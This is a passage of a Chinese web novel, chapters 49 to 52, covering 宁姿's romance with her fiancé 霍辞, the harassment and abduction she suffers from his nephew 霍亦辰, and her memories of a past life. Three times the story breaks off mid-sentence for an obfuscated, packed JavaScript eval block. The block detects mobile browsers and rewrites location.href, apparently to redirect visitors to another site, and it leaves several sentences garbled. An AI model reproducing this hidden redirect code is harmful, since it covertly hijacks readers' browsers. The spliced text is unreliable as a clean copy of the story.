宁姿察觉出他目光不对劲,掏出包里的小镜子一照,只见一片白皙如雪原的肌肤上有一小块红痕,宛如雪中红梅一簇,让人想不注意到都难。宁姿忿忿把镜子塞回包里,嘟着嘴蹙起眉头,想瞪他,却又缺了些胆子,“你干的好事,该怎么办?” 霍辞忍俊不禁,“什么怎么办?我俩是正经未婚夫妻,又不是偷情,值得你这样着急?” “还故意说这种话!”宁姿依然气哼哼的,“别人看到了,多难为情,还以为我……”她话说到一半忽然不说了。 霍辞觉得逗这小姑娘实在太有意思,不依不饶地把脸转过去面对她,“以为你什么?” “我不说了!”宁姿气得把头偏开,头发都扬了下,有一簇落在她白皙的脸颊上。 霍辞笑着把那缕发丝重新为她别到耳后,“你要是害羞,拿化妆品遮盖一下,看不出的。再不行,戴围巾也是一个办法,天气正凉,很合适。” 宁姿的脸色这才稍缓和些,“下回我再也不来了。” “你想食言?明明不久前才答应我会再来,还要替你准备拖鞋,你忘了?”他理了下袖子,闲闲道。 宁姿面色发红,期期艾艾,“我……那时候我不知道你这样不正经。” “我也从没说过自己正经。”他将无赖贯彻到底,“未婚夫是你亲自要来的,现在后悔了?” 听了这话,宁姿不再与他闹,抓抓头,说:“从没后悔过,就算现在的你很无赖,我还是好喜欢你。” 霍辞挺直了背,俊面泛起一阵浅红,抬手抚上她姣好的面颊,顺着流畅的轮廓渐渐挪动,指腹灼热,温柔在漆黑的眸底化开,嗓音也放得很轻,“别人都以为我是孤僻怪异,其实对感情我有着最炽盛的渴望,只不过害怕自己得不到,所以懦弱地假装不想要。当初你要我出席饭局,提出与我订婚,我心里很惊讶,感叹这个小姑娘模样长得柔弱,身材也纤瘦,内里的灵魂却是强大、笃定又自信的。回想起来有些荒谬,我竟然直接答应了。不否认心里有想胜过霍亦辰,让母亲看一看的想法,更多的是想知道你究竟会带我去到哪里,没想到的是有了意外的收获。” 宁姿忙以细腻的掌心贴住他的手背,随后与他额头相抵,低声哄道:“从前我想要的是改变,还有光辉的前程。却没料到,我也有了意外的收获。我们会很幸福,并且现在,我正在幸福着。” 额面相触的温暖令人眷恋,不知不觉间,两人的手指交缠在一起,如连理藤蔓,难分彼此。 从前,他是她的救命稻草,而今,他灰暗的人生也因她的出现被点亮。 后来,宁姿困了,索性倚在他的怀中闭眼,一脸倦懒,完全处于状况之外,显然是把先前的紧张又忘记了。霍辞轻手轻脚抱起她,到卧室里,放在床上,再细心地为她盖好被子,见女孩睡容安宁沉静,又悄悄关上灯出门去。其实那时宁姿并未完全睡着,迷迷糊糊间听见他轻声说—— “你是我生命里的奇迹。” 那一夜,本来认床的她睡得十分安稳,连梦都没有做。 第二天清早,天才蒙蒙亮,宁姿就醒来了。她穿好外套,蹑手蹑脚走出卧室,只见沙发上霍辞还睡着。他个子高,沙发短了一截,双腿只能不舒服地蜷起。被子前半段被他抱在怀里,后半段落到了地上。 宁姿静悄悄走过去,帮他把被子盖好,在打算抽手的一瞬间被他抓住手腕。窗帘半遮,在昏昧的光线下,他眉梢轻挑,拖着腔调慢悠悠问道:“是在梦里,还是现实?” “怎么,你的梦里也有我吗?”宁姿俏皮一笑。 霍辞坦荡地“嗯”了声,握住她的手腕不放,于是她顺势坐下,低头眯着眼笑,“梦见我什么了?” “梦里你像刚才一样靠近我,但不是替我盖被子,而是为了偷亲。” “美得你。”女孩模样娇美可爱,佯作不悦地蹙着眉尖,眼中却仍盈满笑意。 霍辞神气哼哼地扬了扬眉,“所以说是美梦。” 话音刚落,宁姿出其不意凑到他颊边浅浅啄了下,耳廓与心口一同发热,随后迅速撤开身,表情十分不自然,不敢看他一眼,“既然醒了就快起来,冰箱里空空的,早餐打算吃什么?” 霍辞还沉浸在甜蜜的早安吻中,指腹轻抚面颊,笑得露出洁白的虎牙,神态像个纯粹的少年人,“最近太忙,我很少在家里开火,等下带你出去吃,附近有一家美味的小馄饨。” 二人收拾好后,去了他口中的馄饨店,店内生意非常好,没有空桌,他们等了会儿,坐到靠窗的位置。店里没开暖气,但烟火气十足,倒不觉得冷。 霍辞翻开菜单时,宁姿正愣愣地望着窗上凝的白雾,伸出食指在玻璃上漫不经心画着。 “想吃什么?”霍辞问。 “你对这里比较熟,你点吧。”她轻笑着答道。 霍辞点完单,看向窗上刚画的图案,笑弯了眼,“画的什么?猪吗?” “是小狗。”宁姿撇嘴哼了声,把手指缩了回来。 霍辞抿着唇笑,“有想象力。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12897235|133685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 宁姿看着窗上水汽凝结的水珠,顺着窗面流下来,图案的轮廓早已不成样子,辩解道:“是水珠影响了整体画面,我画得可像了。” “谁说什么了。”霍辞促狭扬唇,抽出一张餐巾纸,替她把面前的桌面擦拭一遍。 宁姿不满地把头转到一边去。这时,两碗招牌馄饨和其他小吃都上了,宁姿颇为期待地握起小勺子舀了一口清汤。 “等一下,小心被烫到。”霍辞出言制止。 她停住往嘴里送的动作,霍辞直接接过汤勺,放到唇边细心吹凉,等面上的白烟都散了,才递到她面前,“喝吧。” 意识到他要喂自己,宁姿朝四周看了眼,实在有些不好意思,“我自己来。” “手酸。”他语气略带撒娇意味,令宁姿无可奈何,只得迅速喝了汤,什么味道没品出来,心跳倒是加速了。 “脸红什么?”他笑着问。 “谁脸红的?是被热的,这里面好闷热啊。”宁姿赶紧说,还故意拿手扇了扇。 “煎饺的味道也不错。”霍辞重又把勺子放回她的碗里,拿起筷子夹了只煎炸至表面边缘金黄酥脆的胖煎饺到她盘子中。 两人安静享用早餐,他往她的盘中夹煎饺,她替他的豆浆加糖,举止默契和谐,像生活在一起许多年的夫妻一样。 · 寒假结束,开学时气温依旧没回暖。 宁姿回到学校,在宿舍里和舍友们聊天问好,整理好东西后去教学楼领书,忘记带手套,手指冻得发僵。她抱着厚厚一摞书,下台阶时被身后的人不小心撞了一下,脚下一绊,好不容易稳住身形,手上抱的书却一本本往下落。她急忙伸手去抓,却来不及。胳膊反被一只大手扶住,那人的另一只手正好从下依托,将落下的书本全部托稳,一本都没落到地面上。 “谢谢。”宁姿声线冷清,道谢后微挪胳膊,与那人的手错开,又伸手去接书本。 谁知那人却抬高手臂,令她握了个空,不得不抬头看他。那人直勾勾盯着面带错愕的她,目光沿着轮廓扫了一遍,原本俊朗的一张脸,有了几分偏执锐利,竟是许久不见的霍亦辰。 “怎么是你?”宁姿嫌恶道。 霍亦辰一挑眉,“为什么不能是我?” 她冷下脸,向前跨了步,打算把书夺过来,却被他趁此机会按住肩膀。 “你放开。”宁姿低喝。 “难道我是什么洪水猛兽?你每次见了都冷冰冰的,还故意戏耍过我。”霍亦辰不满道,“这些我都不跟你计较,只不过是想和你正常交流,怎么说也算是半个自己人,增进一下感情,不过分吧?” “我和你永远成不了自己人。”宁姿语气坚决。 “那我就更奇怪了。”他微低着下来的视线停在她的眉眼,“是不是霍辞和你说过什么?” 宁姿懒得理会他,把脸转向一边。霍亦辰以为她是默认,皱眉说:“霍辞从小就不被奶奶重视,他不但不如我爸,更比不上我,所以他一直嫉妒我,在你面前搬弄是非也不奇怪,但你好歹也是个正经大学生,该有辨别的能力,别他说什么,你就信什么。” 宁姿冷道:“你误会了,他从没对我说过关于你的事,不要把别人想得那么阴险。” “那你为什么讨厌我?至少要让我明白吧。”霍亦辰急道。 她依然不为所动,“我对你的看法不重要。我早说过,希望和你没有交集。” “那要是我说,我喜欢你呢?” 宁姿看见他眼底的风暴似将袭来,手也捏得更紧。她挣了挣,没挣开,抬眼厌恶地看向他,“你还要不要脸了?我是你小叔的未婚妻。” 霍亦辰冷笑一声,“不是还没结婚吗?就算结了,又怎样?” 宁姿又惊又怒,“你的恶心真是半点没让我失望,赶紧放开,否则我就喊人了。” 霍亦辰松开手,垂下,一副棺材板面孔,目光发直盯紧她,“宁姿,你本来应该是我的未婚妻。” 宁姿不再理他,整理了下书本,重新抱稳,绕开他就走。留在原地的霍亦辰咬紧牙根,心里那股邪火消不下,越烧越烈。 50. 第五十章 那天之后,霍亦辰像是着了魔,对宁姿展开猛烈的攻势。每天准时守在女生宿舍楼下送早餐,时不时送昂贵的鲜花和礼物,就连午餐时间也到食堂找她。宁姿的态度没有丝毫动摇,对他避如蛇蝎。 宁姿有一个校外的男友,这事学校里的同学多多少少知道些,然而众所周知,霍亦辰是霍氏饭店的继承人,加上平时行事高调,大家纷纷猜测,宁姿顶多抵抗几个回合,最终还是会和那神秘男友分手,转投霍少怀抱。也有平时嫉妒宁姿的人编排她水性扬花,主动勾引霍亦辰。 对于流言蜚语,宁姿并不放在心上,依旧按部就班过自己的生活。然而霍亦辰非但没放弃,反倒越发激进,不断打扰,到了令她困扰的地步。因此,除上课之外,宁姿大多时间呆在宿舍里自习,连饭都带回去吃。 一天晚上,室友束嘉请求宁姿帮忙,“我老乡来江城了,爸妈托他给我捎些东西,现在人在学校后门等着,但我肚子实在痛得厉害,去不了。只能拜托你帮我取来。” 宁姿答应得很爽快,“这个没问题,但你这样硬挺是不行的,不如我先送你去校医室?” 束嘉目光闪烁,“不……不用了,我这是肠胃上的老毛病,把药吃了,休息会儿就差不多了。” “那好吧,你快去把药吃了。” 宁姿嘱咐完,正打算出门,却被束嘉抓住手,“等一等,你不会打算就这样下去吧?” 宁姿随着她一言难尽的目光低头打量自己,白色加绒卫衣配黑色运动裤,有些朴素,却也不失礼。 “最好换身衣服。”束嘉劝道。 宁姿一笑,“大晚上的,讲究什么?我这样穿,又没什么不合适。” “但是……”束嘉还想劝说,却是哑口无言。 宁姿对她笑了下,即刻出门去。 才走楼梯到二楼时,听见楼下喧哗一片,像是聚集了很多人在一起说话。等下去一楼,她瞥见女生苑外的路上确实聚集了很多学生,天空黑漆漆的,地面上却亮着以星星点点的火光连成一片的烛火,仔细一看,围成了爱心形状。那群学生手里握着气球或彩带,还有拿灯牌的。 这场面宁姿倒也见过几次,是有学生打算向心仪的人当众表白举行的小仪式,只是今晚的场面更隆重。许许多多的声音嘈杂,灯牌与烛火的亮光斑驳晃动,其中还夹杂着花瓣的清香气息。 一开始,宁姿只是好奇地看了看,走近时却察觉到不对劲,用蜡烛摆成的爱心旁边立着一块大号灯牌,上面亮着“NZ”两个字母,正是她姓名的首字母,这条路又是去后门的必经之路。 这时,一个女生抬眼看见她,欣喜喊了声,“是宁姿,女主角来了!” 接着,几名女生跑上前亲亲热热的拉住宁姿的两只手,推搡着她到爱心蜡烛圈内。宁姿看向四周,一个个青春洋溢的脸上挂着兴奋的表情,这些面孔有一些是她认识的,有一些没什么印象。 忽然,人群自动散开,让出中间一条道路。霍亦辰穿着一身黑色薄呢大衣,款步走来,表情傲慢,停在宁姿面前,脸上挂着笑。 宁姿蹙了眉,压低嗓音问:“你到底想干什么?” “你很快就知道。”霍亦辰也低声答,随后将背在身后的花束递到她面前,那是一束紫玫瑰,花朵娇小,散发着淡淡的幽香,“浪漫真情,珍贵独特。这是紫玫瑰的花语,也是我想对你说的话。虽然我见过很多女人,但你是最特别的那一个。” 四周起哄声和鼓掌声交叠,震得宁姿耳鼓膜隐隐发胀。霍亦辰扬高唇角,中气十足道:“宁姿,做我女朋友吧。” 她眉间沟壑更深,“你疯了是不是?” 这种大肆宣扬的高调表白通常只会发生在心意相通的男女身上,而霍亦辰这样做,带有用人群压力胁迫的意思,令她更感厌恶。宁姿转身想走,却被他看穿意图,没拿花束的另一只手用力攥住她的手腕,人也逼近,“这么多人呢,别让我下不来台。” “让你下不来台的人是你自己,别怪在我头上。”她笔挺地站立在人群簇拥中,目光沉静,声调冷淡。 霍亦辰气不顺,过了会儿,瓮声瓮气道:“你先把花接过去,有什么话,我们私下再说。” “不行,要是接了你的花,会让别人误解。”宁姿斩钉截铁拒绝。 他忿然道:“你真的就这么讨厌我吗?我哪一点比不上霍辞?” 宁姿冷笑一声,“一点就足以说明,像这样的事,霍辞绝不会做。你说你喜欢我,可真心喜欢一个人是为对方着想,而不是打扰加上逼迫。” “那是因为你从没给过我机会。”霍亦辰抽紧指节,将花束的包装压得变形作响,板脸道。 宁姿哼笑一声,“像你这样的人,本来就不值得让人多看一眼。” 他面上像有火在烧,生生扼住怒意。两人近距离说话,周围的人并没听见他们说了什么。一名卷发男大喊一句,“两个人怎么一直在说悄悄话?把我们都晾在一边,好恩爱啊!” 气氛瞬间被点燃,所有人拍手起哄—— “答应他,答应他!” “在一起,在一起!” 随着呼声越来越热烈,宁姿心里非常不适,不愿再继续现眼,蹙眉说:“我不愿……” 然而,她的声音被人群的嘈杂淹没,那群人像失明一样,看不见她脸上流露的不情愿,只顾着起哄,又或许是为讨好霍亦辰,逼她就范。 宁姿看准了一个身材矮小的女生所站位置,上前推开她,走出包围圈。其他人看这一幕简直傻眼了,喧哗声骤然停下。霍亦辰如同被当众打了脸,表情难看,脸色泛青,低喝道:“你不许走!” “宁姿,你怎么在这里?我找你好久了。约好一起讨论小组作业,你忘了?张老师也来了,都在等你一个人呢。”董筱忽然从人群后钻了出来,拉住宁姿的手,带她远离。 二人走了很长一段距离,到计算机楼后的僻静小道才停下,董筱转过身面向宁姿,“你不会怪我自作主张吧?我是看刚才的气氛不太好才撒了个谎。” “谢谢你替我解围。”宁姿真诚道。 董筱好奇问:“霍亦辰向你表白了?你怎么想?” 宁姿嘴角带着讥讽,“我一直都拒绝得很明显。” 董筱点了下头,“你和你男朋友感情那么好,谁都撼动不了。但关于霍亦辰这个人的事我听说过一些,恐怕他不会轻易放弃。” 宁姿浑不在意,“他是什么样的人,我心里明白。至于我是什么样的人,他早晚也会清楚。没什么好担心的,就当是周边多了只苍蝇,扰人些而已。” 董筱忍不住笑了,“真佩服你,喜欢你的男人都条件优秀,可你却不放在眼里,能把那么多女生心里渴望的霍家少爷当作是苍蝇,恐怕也只有你了。” 宁姿和董筱在校园里逛了一圈,一小时后一起走回宿舍,到女生苑门口的时候,注意到人群已经撤走。至于之前室友束嘉说的老乡送东西,只是一个幌子,实情是她收了霍亦辰的昂贵礼物,于是答应替他骗宁姿下楼。宁姿是个懒得计较太多的人,并没追究什么,但之后与束嘉的关系明显疏远很多。 接连几天再没见过霍亦辰的身影,他是天之骄子,这一次,宁姿半点颜面都没给他留,他心里肯定是愤怒怨念的。但宁姿并不觉得他会放弃,依照他的性格,没有那么容易放过她。 想起这桩烦心事,她甚至会忍不住发笑,上一世对她弃如敝履的人,今生今世反倒对自己这样执着。或许正是她的无视与嫌恶挑战了他的自尊心,才令他产生这样大的执念。宁姿从不认为霍亦辰对她有多么深厚的感情,这样自私又偏狭的人,心里只有欲念。他们所谓的感情也只不过是对丑陋欲念的粉饰,表面华美内里腐败的虚伪空壳罢了。 霍亦辰再次出现在宁姿面前是周五放学的傍晚,她站在校门口的路边,百无聊赖低头盯着泛白的板鞋发呆,一辆红色跑车停在她身边。宁姿一抬眼,撞入了霍亦辰阴鸷的瞳孔中。 她蹙起眉头,往后退了一步。这时,副驾驶座车门打开,宁姿被他抓住胳膊生拖上了车,再想开车门,却被上了锁。宁姿心内并无害怕,只是充溢反感,转头淡漠地盯着他,“霍少爷活得那么痛快,还有大把的时间享福,可别一时冲动做出什么不可挽回的事,不值当。” 他目光浑浊,“我只是想和你说话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宁姿不敢再多说,生怕他察觉异样,夺走手机再带自己转移,只得顺应他,打开车门,又用眼角余光瞥见他的目光一直跟随自己,连细枝末节也不放过,于是也不敢碰被故意藏在座椅边上的手机,空着两只手下了车。 她想过逃跑,但又立刻反应过来,在体力方面不可能比得上一个男人,况且这里位置偏僻,连个行人都不见,激怒了对方反倒不好。于是宁姿缓慢走到湖边的樱花树下,背对车的方向站立。 她虽纤瘦,气质却是冷清不屈的,简单的白色大衣穿在她身上,独有一股清雅出尘的气质,背影玉立,似与花树湖光融在一起。霍亦辰下车后望着她的背影,目光发痴,许久没走去,不愿惊扰这画一般的场景。 宁姿深呼吸几次,努力平息自己的情绪,反应过来霍亦辰没跟来,转过身,与他灼热的目光撞在一起。宁姿泛着微微水光的唇抿作一条直线,疏离冷淡的褐瞳此时愈发深沉,如同怨怒在沸腾,有深深的嫌恶浮现出。 霍亦辰抬步走上前,双手不自觉握起,每一步都走得有些艰难。他站定后,沉声道:“和霍辞解除婚约,和我在一起。” “你认为我会同意吗?”明明她的面容那样冷清,此刻却显得强势,“或者说,把我带到这里,是打算我拒绝,就把我推下去,还是想怎么样?” 听她这样讽刺,霍亦辰低低道:“你不用这样对我,我说过,我喜欢你,是真心的。” 她随手拂去落在袖子上的花瓣,低声冷笑。 霍亦辰觉得受到了极大的侮辱,一股怒火蹿上咽喉,跨前一步狠狠抓起她的手腕,居高临下怒视她,“你觉得我可笑吗?” “我觉得荒谬。”宁姿淡道,“原来被你喜欢,或不被你喜欢,都是一样的不幸。” 霍亦辰盯紧她,猛地一皱眉。宁姿冷冰冰地与他对视,“给你讲一个故事,一个愚蠢又凄惨的女人爱而不得、遍体鳞伤,最终步入毁灭的故事。” 霍亦辰涌在嗓子眼的话又咽了回去。 她垂目深沉,一双漂亮的杏眼深晦不透。 此时,霍亦辰心里有一道声音告诉自己,那个故事跟他有关。 51. 第五十一章 上一世,霍亦辰迫于霍老太的要求和宁姿结婚,对待自己的妻子,非但没有爱护,反而冷漠相对,连最基本的尊重都没有。 宁姿的情绪一天比一天差,身上也添了许多病,直到有一天,钟荔荔来家里做客,她拉着宁姿的手说心疼,之后有时间会常来家里陪伴。这话确实说到做到,家里多了一位开朗活泼的客人,对比宁姿的死气沉沉,钟荔荔显得青春有朝气,就连霍亦辰回家的次数都变多了。当时的宁姿并不怀疑,一心感激疼爱自己的小表妹,甚至天真地认为生活在一天天好起来。 她不知道钟荔荔和霍亦辰是什么时候背着她偷偷在一起的,只知道自从霍亦辰正式接手霍氏饭店后,家里多出了一个房间,钟荔荔有时候待得太晚会直接住下,甚至一住就是好几天。丈夫与表妹之间举止亲近,替霍亦辰系领带、拿起块点心直接往他嘴里送这些行为层出不穷,宁姿看着觉得不适,但下一秒,钟荔荔又亲亲热热地来拉她的手,撒娇地叫着“表姐”。宁姿打消了顾虑,只当表妹天真活泼,没太多心思。 随着霍亦辰事业忙碌,回家次数变少,钟荔荔也以学业为由鲜少到家里陪伴宁姿。宁姿不愿自怨自艾,做个苦苦等待丈夫的望夫石,又不被霍亦辰允许外出工作,于是在操持家务外的闲暇时间,心痒地重新拾起少女时的梦想。她买书自学建筑学知识,乏味的日子总算添了些趣味。后来直播行业兴起,宁姿闲来无事随手拍了几条视频,讲建筑学的知识。她的语言妙趣横生,讲解不枯燥,反而与实例相结合,听得人入胜。本来只是拍着玩,谁知无心插柳柳成荫,有了许多关注者。 其中一名粉丝留言说自己是个学生,一直关注宁姿,看了她发的视频后发觉自己对建筑很感兴趣,将来想报考建筑学相关专业。宁姿第一次觉得内心满足,认为自己做的事是有意义的。她更加认真地筹划视频内容,应粉丝要求定期开直播解答疑问。 与此同时暗地里,钟荔荔已经和霍亦辰打得火热。 一次高中同学聚会,钟荔荔从老同学那里听说宁姿的视频很火,赶紧打开手机看,正巧见宁姿在直播。盯着屏幕里讲解知识点的表姐,像换了个人似的充溢着蓬勃的生命力,这令她感到妒忌且惶恐。 从小到大,钟荔荔对宁姿红鼎轩继承人的身份既嫉妒又恼怒,巴不得见她自怨自艾,跌得越惨,她越满意,另一方面,她更担心霍亦辰看见木头妻子自信生动的另一面。宁姿本来就长得比她美,要是让霍亦辰对宁姿改观,难保不产生情愫,二人是正牌夫妻,到那时,钟荔荔再想取而代之成为霍夫人就难上加难了。 钟荔荔越想越觉得不能放任,必须把危险的苗头掐断才能安心。于是,她在霍亦辰面前故意说扭曲事实的话,先假装不小心说出宁姿直播的事,再暗指内容媚俗擦边,吸引了众多男性关注者,还与其中一些人有了私下接触,最后再假惺惺安慰道或许是自己想太多,她绝对信任表姐的人品。 霍亦辰虽然不喜欢妻子,但也忍受不了妻子有别的念头,回家一趟和宁姿大闹了一场,砸了好多东西。宁姿委屈又痛心,哭了一整夜,好不容易消减下去的抑郁情绪再度袭来,把她侵蚀。这些年的锉磨早令她失去了心气,为挽救这名存实亡的婚姻,她发视频向关注她的人做了一个简短又愧疚的道别,随后销号,妥协了。 霍亦辰连续一个月不回家,电话不接,信息不回,宁姿决定去公司找他,却正好撞见他与钟荔荔挽着手出双入对的一幕。宁姿呼吸停滞,感觉天都塌了,既震惊又痛心,眼泪扑簌簌落下,全身发凉,耳中轰鸣一片。 这一次,她不再退让,下定决心离婚。她克制住情绪,隐忍着痛苦跟踪二人,颤着一双手拍下他们亲密的画面,然后把照片发给霍亦辰,约他到家里谈离婚的事。 那是个阴雨天,没有开灯,室内森森幽冷。宁姿坐在沙发上,形容憔悴,指尖用力抠在沙发皮上,钻心的疼。 门开的声音传入她耳中,她枯坐在沙发上,两只大眼睛空洞,唯有紧抿的唇线显示内心的不屈与坚韧,进门的却是两个人。丑事被揭穿,当事人不以为耻,钟荔荔大摇大摆跟着霍亦辰进门,两人都没有换鞋,在原本清洁的地面上踏出一串污渍的脚印,即便如此,也比不过他们内心的丑恶与肮脏。霍亦辰垂眼望着宁姿,眼神如浓墨般深暗。钟荔荔走近,满面红光,春风得意,还带着隐约的讥诮。 屋内一片寂静,没有人开口说话,只剩窗外的雨滴落在窗台上,发出蹦碎的一连串细密响声。 “都来了,也好,一次性把事情说清楚,该解决的解决了,反倒干净。”宁姿心寒至极,直截道,“你们别站着,坐吧。” 霍亦辰落座,脸色发沉,“你想说什么?” “离婚,越快越好。”宁姿声线冷清,咬紧牙,“别的我都不要,霍氏饭店、这座房子,这些是你的,我不伸手,但是红鼎轩我要拿回去。” 听了这话,霍亦辰面露不悦,钟荔荔手指发凉,失态地瞪大了眼,二人对了个视线。 当初同意和宁姿结婚,除了霍老夫人的逼迫外,也打了红鼎轩的主意。目前,红鼎轩由霍亦辰和钟荔荔的父亲钟腾共同经营,有钟荔荔这层关系在,霍亦辰和钟腾达到了坚固的同盟,许多不便在霍氏进行的事,都借红鼎轩遮掩,令他们得了许多见不得光的私利。一旦宁姿铁了心要把红鼎轩拿回去,往后就添了许多麻烦。这道理霍亦辰和钟荔荔心照不宣。 霍亦辰叹了一口气,缓和态度,低声说:“宁姿,你冷静一点,我没打算和你离婚,今天来是为了和你认真谈一谈。” “我们之间除了离婚,没什么好谈的。”她怔怔地坐着,颤声说话。 “我知道,你是气我和荔荔,这件事的确是我们对不起你。” 听了他的话,宁姿双目含泪,握紧双手,指甲嵌入掌心,逼迫自己不许哭。他那句“我们”像一把刀扎进她的心里,汩汩冒出血流,可她必须克制,竭力保持冷静,这是她最后的尊严。 钟荔荔瞟了霍亦辰一眼,做出哀哀恳求的姿态,“表姐,我真的从没想过跟你抢,只是在相处中情不自禁,我是真心爱亦辰哥哥的。” 宁姿冷笑,“好一个情不自禁,你俩才是有情人,我是这屋檐下多出的那个。既然如此,我成全你们,还有什么不满意的?” “可我从没想过要取代你的位置啊!”钟荔荔哭嚎一声,抽抽巴巴地说,“我们可以像从前一样相安无事,霍夫人的位置永远是你的。” 宁姿听得想发笑,“你的意思是要我装聋作哑,忍受你们在我眼皮子底下维持肮脏不堪的关系?” 霍亦辰拳头微微握起,又将手指一根根伸展开,搭在膝盖上,“荔荔是你的表妹,她一直都怕伤害你,不断忧心自责,你没必要把话说得这么难听吧?” “究竟是我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924558|133685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的话难听,还是你们的事做得难看?”宁姿不再软弱,反唇相讥。 他忍了忍,低声说:“我们今天来不是想和你吵架,是想得出一个妥善的解决方案。” “最妥当的解决方案就是离婚,财产分割。”说完这话,宁姿感觉心口有一处裂开了,汩汩地流出鲜血。 霍亦辰面色一冷,“离婚?说得容易,我离婚后还是霍氏饭店的董事长,正值壮年,风华得意。你是什么?红鼎轩早就是个空架子了,你心里很清楚。” 宁姿不敢置信,沉默了,片刻后感觉浑身血液都仿佛凝固了一般,结出漆黑的痂,身上最后一点温度都被抽离。那一刻,她感到万念俱灰,想要反驳,却颤抖着双唇说不出半句话。 霍亦辰当是自己说的话有效,微不可查地扬了下眉梢,随后收敛神色,双目灼灼盯紧宁姿,“不要闹了,我是为了你好。你年龄不小了,不该任性,况且任性也要讲资本。现在不是我离不开你,而是你无法失去‘霍夫人’这个身份,否则你就什么都不是。以后的日子该怎么过?还活得下去吗?” 时至今日,宁姿才真正看清自己枕边人的真面目,隐藏在俊朗皮囊下的是一颗阴险狠毒的心,她忽然笑了,僵硬地咧起唇角,泪水从眼框跌落,滚烫又苦涩。 霍亦辰只是冷淡地审视她,整个人显得残忍,透着锋利的寒意。他心里十拿九稳,认定宁姿会妥协,却不想她忽然停住笑,抬手抹去脸上的湿润,“我不嘴硬,未来是什么样,一片灰暗还是出现光明?我心里并没有答案,但我要救自己脱离水火,不管去哪里,总不会比现在还要差。” “你……”霍亦辰怔住了,他没想到一向被自己看轻、软弱寡淡的妻子竟然有这么大的决心。 钟荔荔再也坐不住,冲上前攥住宁姿的手,动作看似亲昵,实际下了狠劲,尖利的指甲深嵌入肌肤里,急急地说:“姐,你可要想清楚,不要意气用事。说实话,现在不是我们在乞求你的原谅,而是施予你一个机会,让你能继续享受荣华富贵。一场意外把你父母带走,只留下红鼎轩的烂摊子和孤苦无依的你。是我爸妈撑起了一切,给了你一个温暖的家。你表面上是红鼎轩的继承人,实际上什么都没有,要是离了婚,别人会怎么看待你?我就不一样了,我是清远大学毕业的大学生,在外企工作,有自己的事业,样样都优秀。说句不好听的话,你和我有可比性吗?” 钟荔荔是刻意打扮过才来的,一身剪裁贴合的名牌连衣裙勾勒出身材曲线,虽然不够高挑,但也算纤细。长发盘至发顶,做了造型修饰头型,发间点缀着珍珠,显得明艳大方,妩媚贵气。虽然她的长相不如宁姿,但造型时尚又自信洋溢,散发着光彩,不像宁姿,衣着朴素、面容憔悴,整个人瘦得脱了像,暮气沉沉似明珠蒙尘。 宁姿心猛地钝痛,深深的自卑感将她淹没,颤抖着想要把手抽开,却被钟荔荔钳得更紧。 “所以亲爱的姐姐,是做妹妹的让着你呢。” 宁姿双眸乍然掀开,目色幽幽,不知哪里来的力气一把推开钟荔荔,将人推得跌倒在桌角,侧腰撞击了一下,哀哀呼痛。 宁姿站直身体,坚韧不屈如山间秀竹,怅然苦笑,看着钟荔荔时,身形微微发颤。 “人怎么可以无耻到这种地步?”她气得心口发疼,愤愤然闭上双眼,“我本来打算私下了结这件事,既然你们这样逼我,那我也不手软了。” 52. 第五十二章 霍亦辰和钟荔荔进屋时把灯全打开了,悬在上空的是巨大的水晶吊顶,明晃晃的灯光打下来,刺得宁姿眼睛生疼。她单薄的身子微微晃动,像是随时要倒下去一样,眼角冒出晶莹的泪珠,立即被她用力擦去,苍白的肌肤现出淡红色。 她的嗓音坚定有力,“我要把你们做的丑事告知你们的家人,举报到你们的公司。霍亦辰,让你们饭店的员工看清楚你究竟是什么样的人。” 霍亦辰眉头一凛,暗骂宁姿不知好歹,非要闹到鱼死网破。钟荔荔更着急,忘记腰上的痛,苦着脸摇头。 “钟荔荔,你比我优秀很多,却要这样伤害我,难道你以为我会继续忍下去吗?”宁姿阖目后睁开,看见一旁的表妹满脸惊惶,忍着心口剧烈的抽痛摇头,“不,这一次我不会心慈手软,我要让你的老板、同事知道你做的丑事,让你失去工作,身败名裂。这样你才知道什么叫报应。” “不!”钟荔荔惊喊一声,“你不能这样做,姐!姐……” 钟荔荔实实在在怕了,收起嚣张气焰,脸色苍白地哀求。宁姿无动于衷,泪水落下,沾湿衣领,不理会她。 钟荔荔赶紧给她父母打去一通电话,不久后钟腾、冯秀英夫妇赶到。冯秀英一进门就揽住抽泣不止的钟荔荔,面露狰狞朝宁姿破口大骂,“没良心的混账,好狠的心啊!这些年我们白养你了,竟然养大了只白眼狼。荔荔是你的亲表妹,你却要毁了她。我看你是嫉妒我女儿优秀,心怀怨恨要害人!” 宁姿心痛如绞,眼前视线都模糊了,“舅妈,你怎么能不问是非偏袒荔荔?是她做出了伤害我的事来。” 钟腾叹了一声,“是姿儿受委屈了。” 